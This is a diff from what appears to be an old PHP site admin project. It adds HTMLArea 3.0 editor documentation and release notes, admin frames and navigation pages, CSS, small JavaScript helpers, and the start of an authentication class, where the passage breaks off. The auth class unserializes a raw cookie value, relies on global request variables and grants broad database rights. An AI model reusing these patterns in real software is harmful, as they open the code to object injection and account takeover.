+<span class="paren-face-match"><</span><span class="html-tag">/script</span><span class="paren-face-match">></span></pre>
+ <p><span class="note">Note:</span> you can also add the
+ <code>HTMLArea.replaceAll()</code> code to the <code>onload</code>
+ event handler for the <code>body</code> element, if you find it more appropriate.</p>
+
+ <p>A different approach, if you have more than one textarea and only want
+ to change one of them, is to use <code>HTMLArea.replace("id")</code> --
+ pass the <code>id</code> of your textarea. Do not use the
+ <code>name</code> attribute anymore, it's not a standard solution!</p>
+
+</ol>
+
+<p>This section applies to HTMLArea-3.0 release candidate 1 or later; prior
+to this version, one needed to include more files; however, now HTMLArea is
+able to include other files too (such as stylesheet, language definition
+file, etc.) so you only need to define the editor path and load
+"htmlarea.js". Nice, eh? ;-)</p>
+
+<h3>I want to change the editor settings, how do I do that?</h3>
+
+<p>While it's true that all you need is one line of JavaScript to create an
+htmlArea WYSIWYG editor, you can also specify more config settings in the
+code to control how the editor works and looks. Here's an example of some of
+the available settings:</p>
+
+<pre class="code"
+><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config(); <span class="comment">// create a new configuration object
+</span> <span class="comment">// having all the default values
+</span>config.width = '<span class="string">90%</span>';
+config.height = '<span class="string">200px</span>';
+
+<span class="comment">// the following sets a style for the page body (black text on yellow page)
+// and makes all paragraphs be bold by default
+</span>config.pageStyle =
+ '<span class="string">body { background-color: yellow; color: black; font-family: verdana,sans-serif } </span>' +
+ '<span class="string">p { font-width: bold; } </span>';
+
+<span class="comment">// the following replaces the textarea with the given id with a new
+// HTMLArea object having the specified configuration
+</span>HTMLArea.replace('<span class="string">id</span>', config);</pre>
+
+<p><span class="warning">Important:</span> It's recommended that you add
+custom features and configuration to a separate file. This will ensure you
+that when we release a new official version of HTMLArea you'll have less
+trouble upgrading it.</p>
+
+<h3>How do I customize the toolbar?</h3>
+
+<p>Using the configuration object introduced above allows you to completely
+control what the toolbar contains. Following is an example of a one-line,
+customized toolbar, much simpler than the default one:</p>
+
+<pre class="code"
+><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config();
+config.toolbar = [
+ ['<span class="string">fontname</span>', '<span class="string">space</span>',
+ '<span class="string">fontsize</span>', '<span class="string">space</span>',
+ '<span class="string">formatblock</span>', '<span class="string">space</span>',
+ '<span class="string">bold</span>', '<span class="string">italic</span>', '<span class="string">underline</span>']
+];
+HTMLArea.replace('<span class="string">id</span>', config);</pre>
+
+<p>The toolbar is an Array of Array objects. Each array in the toolbar
+defines a new line. The default toolbar looks like this:</p>
+
+<pre class="code"
+>config.toolbar = [
+[ "<span class="string">fontname</span>", "<span class="string">space</span>",
+ "<span class="string">fontsize</span>", "<span class="string">space</span>",
+ "<span class="string">formatblock</span>", "<span class="string">space</span>",
+ "<span class="string">bold</span>", "<span class="string">italic</span>", "<span class="string">underline</span>", "<span class="string">separator</span>",
+ "<span class="string">strikethrough</span>", "<span class="string">subscript</span>", "<span class="string">superscript</span>", "<span class="string">separator</span>",
+ "<span class="string">copy</span>", "<span class="string">cut</span>", "<span class="string">paste</span>", "<span class="string">space</span>", "<span class="string">undo</span>", "<span class="string">redo</span>" ],
+
+[ "<span class="string">justifyleft</span>", "<span class="string">justifycenter</span>", "<span class="string">justifyright</span>", "<span class="string">justifyfull</span>", "<span class="string">separator</span>",
+ "<span class="string">insertorderedlist</span>", "<span class="string">insertunorderedlist</span>", "<span class="string">outdent</span>", "<span class="string">indent</span>", "<span class="string">separator</span>",
+ "<span class="string">forecolor</span>", "<span class="string">hilitecolor</span>", "<span class="string">textindicator</span>", "<span class="string">separator</span>",
+ "<span class="string">inserthorizontalrule</span>", "<span class="string">createlink</span>", "<span class="string">insertimage</span>", "<span class="string">inserttable</span>", "<span class="string">htmlmode</span>", "<span class="string">separator</span>",
+ "<span class="string">popupeditor</span>", "<span class="string">separator</span>", "<span class="string">showhelp</span>", "<span class="string">about</span>" ]
+];</pre>
+
+<p>Except three strings, all others in the examples above need to be defined
+in the <code>config.btnList</code> object (detailed a bit later in this
+document). The three exceptions are: 'space', 'separator' and 'linebreak'.
+These three have the following meaning, and need not be present in
+<code>btnList</code>:</p>
+
+<ul>
+ <li>'space' -- Inserts a space of 5 pixels (the width is configurable by external
+ <acronym title="Cascading Style Sheets">CSS</acronym>) at the current
+ position in the toolbar.</li>
+ <li>'separator' -- Inserts a small vertical separator, for visually grouping related
+ buttons.</li>
+ <li>'linebreak' -- Starts a new line in the toolbar. Subsequent controls will be
+ inserted on the new line.</li>
+</ul>
+
+<p><span class="warning">Important:</span> It's recommended that you add
+custom features and configuration to a separate file. This will ensure you
+that when we release a new official version of HTMLArea you'll have less
+trouble upgrading it.</p>
+
+<h3>How do I create custom buttons?</h3>
+
+<p>By design, the toolbar is easily extensible. For adding a custom button
+one needs to follow two steps.</p>
+
+<h4 id="regbtn">1. Register the button in <code>config.btnList</code>.</h4>
+
+<p>For each button in the toolbar, HTMLArea needs to know the following
+information:</p>
+<ul>
+ <li>a name for it (we call it the ID of the button);</li>
+ <li>the path to an image to be displayed in the toolbar;</li>
+ <li>a tooltip for it;</li>
+ <li>whether the button is enabled or not in text mode;</li>
+ <li>what to do when the button is clicked;</li>
+</ul>
+<p>You need to provide all this information for registering a new button
+too. The button ID can be any string identifier and it's used when
+defining the toolbar, as you saw above. We recommend starting
+it with "my-" so that it won't clash with the standard ID-s (those from
+the default toolbar).</p>
+
+<p class="note">Register button example #1</p>
+
+<pre class="code"
+><span class="comment">// get a default configuration
+</span><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config();
+<span class="comment">// register the new button using Config.registerButton.
+// parameters: button ID, tooltip, image, textMode,
+</span>config.registerButton("<span class="string">my-hilite</span>", "<span class="string">Highlight text</span>", "<span class="string">my-hilite.gif</span>", <span class="keyword">false</span>,
+<span class="comment">// function that gets called when the button is clicked
+</span> <span class="keyword">function</span>(editor, id) {
+ editor.surroundHTML('<span class="string"><span class="hilite"></span>', '<span class="string"></span></span>');
+ }
+);</pre>
+
+<p>An alternate way of calling registerButton is exemplified above. Though
+the code might be a little bit larger, using this form makes your code more
+maintainable. It doesn't even needs comments as it's pretty clear.</p>
+
+<p class="note">Register button example #2</p>
+
+<pre class="code"
+><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config();
+config.registerButton({
+ id : "<span class="string">my-hilite</span>",
+ tooltip : "<span class="string">Highlight text</span>",
+ image : "<span class="string">my-hilite.gif</span>",
+ textMode : <span class="keyword">false</span>,
+ action : <span class="keyword">function</span>(editor, id) {
+ editor.surroundHTML('<span class="string"><span class="hilite"></span>', '<span class="string"></span></span>');
+ }
+});</pre>
+
+<p>You might notice that the "action" function receives two parameters:
+<b>editor</b> and <b>id</b>. In the examples above we only used the
+<b>editor</b> parameter. But it could be helpful for you to understand
+both:</p>
+
+<ul>
+ <li><b>editor</b> is a reference to the HTMLArea object. Since our entire
+ code now has an <acronym title="Object Oriented Programming">OOP</acronym>-like
+ design, you need to have a reference to
+ the editor object in order to do things with it. In previous versions of
+ HTMLArea, in order to identify the object an ID was used -- the ID of the
+ HTML element. In this version ID-s are no longer necessary.</li>
+
+ <li><b>id</b> is the button ID. Wondering why is this useful? Well, you
+ could use the same handler function (presuming that it's not an anonymous
+ function like in the examples above) for more buttons. You can <a
+ href="#btnex">see an example</a> a bit later in this document.</li>
+</ul>
+
+<h4>2. Inserting it into the toolbar</h4>
+
+<p>At this step you need to specify where in the toolbar to insert the
+button, or just create the whole toolbar again as you saw in the previous
+section. You use the button ID, as shown in the examples of customizing the
+toolbar in the previous section.</p>
+
+<p>For the sake of completion, following there are another examples.</p>
+
+<p class="note">Append your button to the default toolbar</p>
+
+<pre class="code"
+>config.toolbar.push([ "<span class="string">my-hilite</span>" ]);</pre>
+
+<p class="note">Customized toolbar</p>
+
+<pre class="code"
+>config.toolbar = [
+ ['<span class="string">fontname</span>', '<span class="string">space</span>',
+ '<span class="string">fontsize</span>', '<span class="string">space</span>',
+ '<span class="string">formatblock</span>', '<span class="string">space</span>',
+ '<span class="string">separator</span>', '<span class="string">my-hilite</span>', '<span class="string">separator</span>', '<span class="string">space</span>', <span class="comment">// here's your button
+</span> '<span class="string">bold</span>', '<span class="string">italic</span>', '<span class="string">underline</span>', '<span class="string">space</span>']
+];</pre>
+
+<p><span class="note">Note:</span> in the example above our new button is
+between two vertical separators. But this is by no means required. You can
+put it wherever you like. Once registered in the btnList (<a
+href="#regbtn">step 1</a>) your custom button behaves just like a default
+button.</p>
+
+<p><span class="warning">Important:</span> It's recommended that you add
+custom features and configuration to a separate file. This will ensure you
+that when we release a new official version of HTMLArea you'll have less
+trouble upgrading it.</p>
+
+<h4 id="btnex">A complete example</h4>
+
+<p>Please note that it is by no means necessary to include the following
+code into the htmlarea.js file. On the contrary, it might not work there.
+The configuration system is designed such that you can always customize the
+editor <em>from outside files</em>, thus keeping the htmlarea.js file
+intact. This will make it easy for you to upgrade your HTMLArea when we
+release a new official version. OK, I promise it's the last time I said
+this. ;)</p>
+
+<pre class="code"
+><span class="comment">// All our custom buttons will call this function when clicked.
+// We use the <b>buttonId</b> parameter to determine what button
+// triggered the call.
+</span><span class="keyword">function</span> <span class="function-name">clickHandler</span>(editor, buttonId) {
+ <span class="keyword">switch</span> (buttonId) {
+ <span class="keyword">case</span> "<span class="string">my-toc</span>":
+ editor.insertHTML("<span class="string"><h1>Table Of Contents</h1></span>");
+ <span class="keyword">break</span>;
+ <span class="keyword">case</span> "<span class="string">my-date</span>":
+ editor.insertHTML((<span class="keyword">new</span> Date()).toString());
+ <span class="keyword">break</span>;
+ <span class="keyword">case</span> "<span class="string">my-bold</span>":
+ editor.execCommand("<span class="string">bold</span>");
+ editor.execCommand("<span class="string">italic</span>");
+ <span class="keyword">break</span>;
+ <span class="keyword">case</span> "<span class="string">my-hilite</span>":
+ editor.surroundHTML("<span class="string"><span class=\"hilite\"></span>", "<span class="string"></span></span>");
+ <span class="keyword">break</span>;
+ }
+};
+
+<span class="comment">// Create a new configuration object
+</span><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config();
+
+<span class="comment">// Register our custom buttons
+</span>config.registerButton("<span class="string">my-toc</span>", "<span class="string">Insert TOC</span>", "<span class="string">my-toc.gif</span>", <span class="keyword">false</span>, clickHandler);
+config.registerButton("<span class="string">my-date</span>", "<span class="string">Insert date/time</span>", "<span class="string">my-date.gif</span>", <span class="keyword">false</span>, clickHandler);
+config.registerButton("<span class="string">my-bold</span>", "<span class="string">Toggle bold/italic</span>", "<span class="string">my-bold.gif</span>", <span class="keyword">false</span>, clickHandler);
+config.registerButton("<span class="string">my-hilite</span>", "<span class="string">Hilite selection</span>", "<span class="string">my-hilite.gif</span>", <span class="keyword">false</span>, clickHandler);
+
+<span class="comment">// Append the buttons to the default toolbar
+</span>config.toolbar.push(["<span class="string">linebreak</span>", "<span class="string">my-toc</span>", "<span class="string">my-date</span>", "<span class="string">my-bold</span>", "<span class="string">my-hilite</span>"]);
+
+<span class="comment">// Replace an existing textarea with an HTMLArea object having the above config.
+</span>HTMLArea.replace("<span class="string">textAreaID</span>", config);</pre>
+
+
+<hr />
+<address>© <a href="http://interactivetools.com" title="Visit our website"
+>InteractiveTools.com</a> 2002-2004.
+<br />
+© <a href="http://dynarch.com">dynarch.com</a> 2003-2004<br />
+HTMLArea v3.0 developed by <a
+href="http://dynarch.com/mishoo/">Mihai Bazon</a>.
+<br />
+Documentation written by Mihai Bazon.
+</address>
+<!-- hhmts start --> Last modified: Wed Jan 28 12:18:23 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+</body> </html>
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html xmlns="http://www.w3.org/1999/xhtml">
+ <head>
+ <title><% $basename %> release notes</title>
+ <style>
+ .fixme { color: red; }
+ </style>
+ </head>
+
+ <body>
+
+ <h1><% $basename %> release notes</h1>
+
+ <p>This release was compiled on <% $time %>.</p>
+
+ <h2>3.0-rc1</h2>
+
+ <p>Changes since 3.0-Beta:</p>
+
+ <ul>
+ <li>
+ <b>New plugins</b>
+ <ul>
+ <li>
+ ContextMenu plugin (provides a nice context menu with common
+ operations, including table ops, link ops, etc.)
+ </li>
+ <li>
+ CSS plugin (provides an easy way to insert/change CSS classes)
+ </li>
+ <li>
+ FullPage plugin (allows HTMLArea to edit a whole HTML file,
+ not only the content within <body>.)
+ </li>
+ </ul>
+ </li>
+ <li>
+ <b>Changes in the SpellChecker plugin</b>
+ <ul>
+ <li>
+ Many bugfixes: now it works ;-) Fully Unicode-safe.
+ </li>
+ <li>
+ Speed and bandwidth optimization: reports the list of
+ suggestions only once for each mispelled word; this helps
+ in cases where you have, for instance, the word “HTMLArea”
+ in 10 places all over the document; the list of
+ suggestions for it--which is kind of huge--will only be
+ included <em>once</em>.
+ </li>
+ <li>
+ User interface improvements: the highlighted word will
+ remain in view; in cases where it's normally outside, the
+ window will be scrolled to it.
+ </li>
+ <li>
+ Added a "Revert" button for those that change their minds ;-)
+ </li>
+ <li>
+ Added a "Info" button which reports information about the
+ document, retrieved by the server-side spell checker:
+ total number of words, total number of mispelled words,
+ number of suggestions made, spell check time, etc. More
+ can be easily added. <span class="fixme">FIXME: this part
+ is not yet internationalized.</span>
+ </li>
+ <li>
+ The server-side spell checker now uses XML::DOM instead of
+ HTML::Parser, which means that it will be unable to parse
+ “tag-soup” HTML. It needs valid code. Usually HTMLArea
+ generates valid code, but on rare occasions it might fail
+ and the spell checker will report a gross error message.
+ This gonna have to be fixed, but instead of making the
+ spell checker accept invalid HTML I prefer to make
+ HTMLArea generate valid code, so changes are to be done in
+ other places ;-)
+ </li>
+ </ul>
+ </li>
+ <li>
+ <b>Changes in the core editor</b>
+ <ul>
+ <li>
+ Easier to setup: you only need to load
+ <tt>htmlarea.js</tt>; other scripts will be loaded
+ automatically. <a href="reference.html">Documentation</a>
+ and <a href="examples/">examples</a> updated.
+ </li>
+ <li>
+ Better plugin support (they register information about
+ themselves with the editor; can register event handlers for
+ the editor, etc.)
+ </li>
+ <li>
+ New about box; check it out, it's cool ;-)
+ </li>
+ <li>
+ Word cleaner (can be enabled to automatically kill Word crap
+ on paste (see Config.killWordOnPaste); otherwise accessible by
+ pressing CTRL-0 in the editor; a toolbar button will come up
+ soon)
+ </li>
+ <li>
+ Image preview in "insert image" dialog. Also allows
+ modification of current image, if selected.
+ </li>
+ <li>
+ New "insert link" dialog, allows target and title
+ specification, allows editing links.
+ </li>
+ <li>
+ Implemented support for text direction (left-to-right or
+ right-to-left).
+ </li>
+ <li>
+ Lots of bug fixes! ... and more, I guess ;-) an
+ automatically generated <a href="ChangeLog">change log</a>
+ is now available.
+ </li>
+ </ul>
+ </li>
+ </ul>
+
+ <p>I don't have the power to go through the <a
+href="http://sourceforge.net/tracker/?atid=525656&group_id=69750&func=browse">bug
+system</a> at SourceForge
+ now. Some of the bugs reported there may be fixed; I'll update
+ their status, some other time. If you reported bugs there and now
+ find them to be fixed, please let me know.</p>
+
+ <h2>3.0-Beta</h2>
+
+ <p>Changes since 3.0-Alpha:</p>
+
+ <ul>
+
+ <li>Performance improvements.</li>
+
+ <li>Many bugs fixed.</li>
+
+ <li>Plugin infrastructure.</li>
+
+ <li>TableOperations plugin.</li>
+
+ <li>SpellChecker plugin.</li>
+
+ <li>Status bar.</li>
+
+ <li>API for registering custom buttons and drop-down boxes in the
+ toolbar.</li>
+
+ <li>Toolbar can contain text labels.</li>
+
+ <li>Cut, copy, paste, undo, redo buttons.</li>
+
+ </ul>
+<%doc>
+ <h2>Rationale for Beta</h2>
+
+ <p>Why was this released as "Beta"? The code is quite stable and it
+ didn't deserve a "Beta" qualification. However, there are some things
+ left to do for the real 3.0 version. These things will not affect the
+ API to work with HTMLArea, in other words, you can install the Beta
+ right now and then install the final release without modifying your
+ code. That's if you don't modify HTMLArea itself. ;-)</p>
+
+ <h2>To-Do before 3.0 final</h2>
+
+ <ol>
+
+ <li>We should use a single popup interface. Currently there are two:
+ dialog.js and popupwin.js; dialog.js emulates modal dialogs, which
+ sucks when you want to open "select-color" from another popup and not
+ from the editor itself. Very buggy in IE. We should probably use only
+ modeless dialogs (that is, popupwin.js).</li>
+
+ <li>Internationalization for the SpellChecker plugin.</li>
+
+ <li>Internationalization for the TableOperations plugin.</li>
+
+ <li>People who sent translations are invited to re-iterate through
+ their work and make it up-to-date with lang/en.js which is the main
+ lang file for HTMLArea-3.0. Some things have changed but not all
+ translations are updated.</li>
+
+ <li><strong>Documentation</strong>.</li>
+
+ </ol>
+</%doc>
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Sun Aug 3 16:55:08 EEST 2003 -->
+<!-- hhmts start --> Last modified: Sun Feb 1 13:16:10 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
+
+<%ARGS>
+ $project => 'HTMLArea'
+ $version => '3.0'
+ $release => 'rc1'
+ $basename => 'HTMLArea-3.0-rc1'
+</%ARGS>
+
+<%INIT>;
+use POSIX qw(strftime);
+my $time = strftime '%b %e, %Y [%H:%M] GMT', gmtime;
+</%INIT>
--- /dev/null
+<html>
+<head>
+ <script>
+ function breakit(){
+ elem = document.getElementById('page1');
+ elem.style.display = 'none'
+ elem.style.display = 'block'
+ if (HTMLArea.is_gecko) {
+ editor._doc.designMode = 'off';
+ editor._doc.designMode = 'on';
+ editor.focusEditor();
+ }
+ }
+ _editor_url = '/htmlarea/';
+ _editor_lang = 'en';
+ </script>
+ <script type="text/javascript" src="/htmlarea/htmlarea.js"></script>
+</head>
+<body>
+ <button onclick='breakit();'>Break It</button>
+ <div id="page1" class="pagetext">
+ <textarea class="inputbox" cols="50" rows="20" name="introtext" id="introtext"></textarea>
+ </div>
+ <script language="JavaScript1.2" defer="defer">
+ var editor = new HTMLArea("introtext");
+ editor.generate('introtext');
+ </script>
+</body>
+</html>
--- /dev/null
+<?include("../setup.phtml")?>
+<html>
+<head>
+<title><?=SITENAME?> Administration</title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<frameset frameborder="0" framespacing="0" border="0" cols="145,*">
+<frame name="Nav" src="nav.phtml" marginwidth="6" marginheight="0" scrolling="NO">
+<frame name="Main" src="splash.phtml" marginwidth="6" marginheight="4" scrolling="AUTO">
+</frameset>
+</head>
+<noframes>
+<body>
+<p>Admin Requires Frames Capable Browser</p>
+<ul>You can get a Standard Compliant browser from:
+<li>Microsoft <a href="http://www.microsoft.com/windows/ie/">Internet Explorer</a></li>
+<li>Mozilla's <a href="http://www.mozilla.org/products/firefox/">Firefox</a></li>
+</ul>
+</body>
+</noframes>
+</html>
--- /dev/null
+body { background-color: #FFFFFF; }
+.navlink { font-size: 80%; font-family: arial; }
+TD { font-size: 11px; font-family: arial,helvetica; }
+INPUT { font-size: 12px; font-family: arial,helvetica; }
+SELECT { font-size: 12px; font-family: arial,helvetica; }
+OPTION { font-size: 12px; font-family: arial,helvetica; }
+TH { font-size: 11px; font-family: arial,helvetica; font-weight: bold; }
+.theader { font-size: 120%; font-family: arial,helvetica; color: #FFFFFF; }
+.text { font-size: 100%; font-family: arial,helvetica; color: #000000; }
+.theadertd { background-color: #000080; }
+.pac_std_text { font-size: 12px; font-weight: normal; }
+.pac_bold_text { font-size: 12px; font-weight: bold; }
+.pac_std_small { font-size: 10px; font-weight: normal }
+.pac_bold_small { font-size: 10px; font-weight: bold }
+.pac_redtext { font-size: 12px; color: #CC0000 ; font-family: Arial, Helvetica, sans-serif; font-weight: normal; }
+.pac_redhead { font-size: 12px; font-weight: bold; color: #CC0000; font-family: Arial, Helvetica, sans-serif; }
+.title1 { font-size: 22px; font-weight: bold; color: blue; font-family: Arial, Helvetica, sans-serif; }
+.title2 { font-size: 22px; font-weight: bold; color: black; font-family: Arial, Helvetica, sans-serif; }
+
+INPUT { FONT-SIZE: 12px; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; }
+SELECT { FONT-SIZE: 12px; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; }
+.navlink {
+ font-size: 12px;
+ font-family: arial;
+}
+
+td {
+ font-size: 12px;
+ font-family: arial,helvetica;
+}
+
+.theader {
+ font-size: 14px;
+ font-family: arial,helvetica;
+ color: #FFFFFF;
+}
+
+.theadertd {
+ background-color: #000080;
+}
+
+.topheader {
+ font-family:ms sans serif,arial,helvetica;
+ font-size:12px;
+ color:#FFFFFF;
+ font-weight:bold;
+}
+.footer {
+ text-align:center;
+ color:#999999;
+ font-size:10px;
+ width:600px;
+}
+/* TOOLBOX NAV */
+ul#toolbox {list-style-position:inside;list-style-type:circle;}
+ul#toolbox li {list-style-type:circle}
+ul#toolbox li.toolboxArrow {list-style-type:none;padding-left:0;margin-left:-7px;}
--- /dev/null
+function glm_confirm(o) {
+ var p = o.msg.split("\n");
+ var k = 0;
+ for(i = 0;i < p.length;i++) {
+ if(k > p[i].length)
+ continue;
+ else
+ k = p[i].length;
+ }
+
+ var bound = "";
+ for(i = 0; i < k; i++) {
+ bound = bound+'_';
+ }
+ var str = bound+"\n\n"+o.msg+"\n\n"+bound+"\n\nAre You Sure?";
+ if(confirm(str)) {
+ if(o.popup == '1') {
+ var nw = new Object();
+ nw.url = o.url;
+ nw.name = o.popup.name;
+ nw.width = o.width;
+ nw.height = o.height;
+ glm_open(nw);
+ }
+ else {
+ location.replace(o.url);
+ }
+ }
+}
--- /dev/null
+<?
+include("../setup.phtml");
+?>
+<html>
+<head>
+<title>Admin Navigation</title>
+<style type="text/css">
+<!--
+body {margin: 2px; font-family: arial, sans-serif; font-size: 12px; background-color: white;}
+a:link {color: #369;}
+a:visited {color: #369;}
+a:active {color: #369;}
+a:hover {color: #369;}
+h1 {font-weight: bold; text-align: center;}
+ul { margin: 0; padding: 0; list-style-type: none; }
+li { margin: 0; padding: 0; display: block; }
+li a {
+ text-decoration: none;
+ display: block;
+ margin: 0;
+ padding: 3px;
+ background-color: #036;
+ border-bottom: 1px solid #eee;
+ width: 136px;
+ }
+li a:link, li a:visited, li a:active { color: #EEE; }
+li a:hover { background-color: #369; color: #fff; }
+#adminSupport {
+ margin: 15px 0;
+ }
+#adminSupport li a {
+ background: url(http://app.gaslightmedia.com/assets/icons/new.png) 120px 3px no-repeat #2c788f;
+ text-shadow: 1px 1px 1px #333;
+ }
+#adminSupport li a:hover {
+ background-color: #004c64;
+ }
+-->
+</style>
+</head>
+<body>
+ <h1><a href="<?php echo BASE_URL.$url;?>" target="_top"><?php echo SITENAME;?></a></h1>
+<ul>
+<?
+$nav["Home"] = "admin/splash.phtml";
+//$nav["Home Page"] = "";
+//$nav["Classified Ads"] = "";
+//$nav["Newsletter"] = "admin/Newsletter/list_news_category.phtml";
+//$nav["Employment Opportunities"] = "";
+//$nav["Events"] = "admin/Events/list_events.phtml";
+$nav["Toolbox"] = "admin/Toolbox/";
+//$nav["Toolbox"] = "admin/Mini-Toolbox";
+//$nav["Banner Ads"] = "admin/Banners/";
+$nav["Contacts"] = "admin/Contact/";
+$nav["Server Statistics"] = "admin/logs/";
+
+foreach($nav as $name=>$url)
+ {
+ echo '
+ <li><a href="'.BASE_URL.$url.'" target="Main">'.$name.'</a></li>
+ ';
+ }
+?>
+</ul>
+<?php
+$format = '<ul id="adminSupport">
+ <li>
+ <a href="%ssupportForm.php?sitename=%s" target="Main">Support Form</a>
+ </li>
+</ul>';
+if(!defined('GLM_APP_BASE_URL')){
+ define('GLM_APP_BASE_URL', 'http://app.gaslightmedia.com/');
+}
+if(!defined('SITENAME')) {
+ define('SITENAME', 'http://www.thelindy.com/');
+}
+printf(
+$format,
+GLM_APP_BASE_URL,
+urlencode(SITENAME)
+);
+?>
+<a style="display: block; margin: 10px auto; text-align: center;" href="http://www.gaslightmedia.com/" target="_blank"><img alt="" src="http://www.gaslightmedia.com/assets/poweredby.gif" border="0" title="Gaslight Media Website"></a>
+</body>
+</html>
--- /dev/null
+<?
+include("../setup.phtml");
+?>
+<HTML>
+<HEAD>
+<link type="text/css" rel=stylesheet href="<?echo URL_BASE."admin/main.css"?>">
+<TITLE></TITLE>
+<META NAME="Author" CONTENT="Gaslight Media">
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" LINK="#000080" VLINK="#000080" ALINK="#000080">
+<CENTER>
+<TABLE BORDER=0 CELLPADDING=6>
+<TR>
+<TD ALIGN=CENTER>
+<FONT SIZE=2 FACE="ms sans serif">
+<B>Welcome To The <?=SITENAME?> Administration Area</B>
+<P>
+Please Choose The Area You Wish To Update.
+</FONT>
+<h1>TheLindy.com</h1>
+</TD>
+</TR>
+</TABLE>
+</CENTER>
+</BODY>
+</HTML>
+
--- /dev/null
+function isblank(s) {
+ for(var i = 0; i < s.length; i++) {
+ var c = s.charAt(i);
+ if((c != ' ') && (c != '\n') && (c != '\t'))
+ return(false);
+ }
+ return(true);
+}
+
+function verify(f) {
+ var msg;
+ var empty_fields = "";
+ var errors = "";
+
+ for(var i = 0; i < f.length; i++) {
+ var e = f.elements[i];
+ if(((e.type == "text") || (e.type == "textarea")) && !e.optional) {
+ if((e.value == null) || (e.value == "") || isblank(e.value)) {
+ empty_fields += "\n " + e.r;
+ continue;
+ }
+
+ if(e.d) {
+ if(isNaN(Date.parse(e.value)))
+ errors += "- The field " +e.r+" must be formated like 01/17/2001\n";
+ }
+ if(e.numeric || (e.min != null) || (e.max != null)) {
+ if(e.i) {
+ var v = parseInt(e.value);
+ if(v != e.value) {
+ errors += "- The field " +e.r + " must be a ";
+ errors += "number with no decimal\n";
+ continue;
+ }
+ }
+ else
+ var v = parseFloat(e.value);
+ if(isNaN(v) ||
+ ((e.min != null) && (v < e.min)) ||
+ ((e.max != null) && (v > e.max))) {
+
+ errors += "- The field " + e.r + " must be a number";
+ if(e.min != null)
+ errors += " that is greater than " + e.min;
+ if(e.max != null && e.min != null)
+ errors += " and less than " + e.max;
+ else if (e.max != null)
+ errors += " that is less than " + e.max;
+ errors += ".\n";
+ }
+ }
+ }
+ if (e.options && !e.optional)
+ {
+ if((e.value == null) || (e.value == "") || isblank(e.value))
+ {
+ empty_fields += "\n " + e.r;
+ continue;
+ }
+ }
+ }
+
+ if(!empty_fields && !errors)
+ return(true);
+
+ msg = "_____________________________________________________\n\n";
+ msg +="The form was not submitted because of the following error(s).\n";
+ msg +="Please correct these error(s) and re-submit.\n";
+ msg +="_____________________________________________________\n\n";
+
+ if(empty_fields) {
+ msg += "- The following required field(s) are empty:"
+ + empty_fields + "\n";
+ if(errors)
+ msg += "\n";
+ }
+ msg += errors;
+ alert(msg);
+ return(false);
+}
--- /dev/null
+function glm_open(o) {
+ var x = (screen.width/2) - (o.width/2);
+ var y = (screen.height/2) - (o.height/2);
+ var args = "width="+o.width+",height="+o.height+",screenX="+x+",screenY="+y+",top="+y+",left="+x;
+ if(o.scroll == true)
+ args += ",scrollbars=1";
+ //args += "\'";
+ //alert(args);
+ pow=window.open(o.url,o.name,args);
+ //confirm(args);
+ if (pow.opener == null)
+ pow.opener = self;
+}
--- /dev/null
+<?php
+require_once( BASE.'classes/class_db.inc' );
+/** authuser
+ $Id: class_auth.inc,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+ Authentication class. Enables different levels
+ of authentication for users with one master(admin) user
+ able to set up accounts for others and permissions based on different
+ levels. Can be modified to use more levels. This is set up with four levels.
+
+ Permissions are checked using bitwise operators so you can have custom permission
+ levels per user. Thus an admin user with perms set to 15 would have all levels.
+ CREATE TABLE authuser (
+ id SERIAL,
+ username text,
+ password text,
+ perms int
+ );
+ GRANT ALL ON authuser TO nobody;
+ GRANT ALL ON authuser_id_seq TO nobody;
+ */
+
+class authuser {
+ /** @var auth session variable which holds user and permission data */
+ var $auth;
+ /** @var page - The present page your on */
+ var $page;
+ /** @var conn - db connection result identifier */
+ var $conn;
+ /** @var usertable - db table which holds the user data */
+ var $usertable;
+ /** @var constraint - User constrain for queries */
+ var $constraint;
+ /** @var cookie_name The name of the cookie var */
+ var $cookie_name;
+ /** @var cookie_exp The expire time (Seconds) for the cookie */
+ var $cookie_exp;
+ /** @var cookie_domain The domain of the cookie */
+ var $cookie_domain;
+ /** @var object DB database object */
+ var $DB;
+ /** @var rember bool if to create coockies for storing sessions */
+ var $remember;
+ /** @var $auth_data array to keep user info */
+ var $auth_data;
+
+ /** authuser
+ Class construtor. Set up the default variables for
+ the class.
+ */
+ function authuser()
+ {
+ $this->DB =& new GLM_DB();
+ $this->auth['perms'] = 1;
+ $this->page = $GLOBALS['PHP_SELF'];
+ $this->usertable = "authuser";
+ $this->cookie_name = "GLM_AUTH";
+ $this->cookie_exp = "2592000";
+ $this->cookie_domain = URL_BASE;
+ $this->fill_data();
+ }
+
+ function fill_data()
+ {
+ if( $_SESSION['auth'] )
+ {
+ $this->auth_data =& $_SESSION['auth'];
+ return( $this->auth_data );
+ }
+ else
+ {
+ return( false );
+ }
+ }
+ /** verify
+ Checks the user login. Checks the users IP address to be sure
+ it is not hijacked.
+ @param level - If a level is giving and the user doesn't match the
+ level then the page is not shown.
+ @return void
+ */
+ function verify($level=NULL)
+ {
+ global $username,$password,$perms,$auth,$LOGOUT,$REMOTE_ADDR;
+ //$dbd = $this->connect();
+ /* Check to see if user is logging out */
+ if($LOGOUT)
+ {
+ $this->logout();
+ }
+
+ /* Check to see if GLM-AUTH cookie is set then check if
+ $auth is registered in session.
+ */
+ if($_COOKIE[$this->cookie_name])
+ {
+ $auth = unserialize(stripslashes($_COOKIE[$this->cookie_name]));
+ // double check the username and password only if the time is greater than checktime
+ $query = "SELECT password
+ FROM ".$this->usertable."
